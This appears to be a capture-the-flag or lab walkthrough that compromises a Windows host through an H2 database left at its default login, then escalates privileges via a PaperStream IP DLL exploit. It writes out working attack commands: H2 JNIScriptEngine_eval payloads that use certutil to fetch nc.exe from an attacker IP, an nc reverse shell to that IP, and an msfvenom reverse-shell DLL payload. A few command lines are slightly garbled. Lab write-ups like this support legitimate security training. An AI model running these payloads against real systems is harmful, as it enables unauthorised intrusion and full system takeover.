Enumeration

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1: Use autorecon to enumerate its services, 80, 135, 139, 445, 7680, 8082 are open

- 2: **SMB** service has **access control**, and I don't have the permission to access
- 3: Access HTTP service running on port 80, enumerate its directories and files. However, **nothing** is interesting
- 4: Access port 8082, it looks likes H2 database management system. By searching, I get that default login is sa:(blank). And it works, I can sign in
- 5: After login, I and execute SQL query here, and I also notice its version is H2
- **1.4.199**. There is a public exploit: https://www.exploit-db.com/exploits/49384
- 6: Follow the steps, now I can execute command remotely

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1: Upload nc.exe for setting up a reverse shell: CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split f http://192.168.49.185/winexe/nc.exe

C:/Users/tony/nc.exe").getInputStream()).useDelimiter("\\Z").next()')

2: Set up a local listener, and run nc on target server to connect back: CALL JNIScriptEngine_eval('new

java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Users/tony/nc.exe 192.168.49.185 445 -e cmd.exe").getInputStream()).useDelimiter("\\Z").next()')

3: Get a reverse shell

Privilege Escalation

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- 1: Explore local files, and I notice an application's folder: PaperStream IP
- 2: Search for its exploit, and I find one Local Privilege Escalation exploit: https://www.exploit-db.com/exploits/49382
- 3: According to steps, generate a dll payload. Pay attention to this application's version, it is based **X86**, therefore the dll payload should be applied for **X86**: msfvenom -p windows/shell_reverse_tcp -f dll -o UninOldIS.dll LHOST=192.168.49.185 LPORT=135
- 5: Transfer UninOldIS.dll and twain.ps1 to target: CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split f http://192.168.49.185/UninOldlS.dll
- $C:/Windows/Temp/UninOldlS.dll"). getInputStream()). useDelimiter("\\Z"). next($)')
- 6: Locate target server's powershell.exe: dir "\powershell.exe" /s
- 7: Run powershell: C:\Windows\WinSxS\amd64_microsoft-windowspowershell-
- exe_31bf3856ad364e35_10.0.18362.1_none_3b736eaf7f6b1264/powershell.exe
- 8: Run .\twain.ps1, get a system shell

Review	
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- 1: Target HTTP and SQL
- 2: Find H2 database's exploit to execute command remotely
- 3: Some commands are not supported (dir, type, cd, etc.), download further needed tools such as nc.exe, winpeasany.exe, etc.
- 4: Use nc to get a reverse shell
- 5: Explore local files, locate exploitable app: PaperStream IP
- 6: Generate dll payload and download ps1 script, transfer them to target server
- 7: Locate **powershell.exe**, and run it
- 8: Run the exploit script, get system shell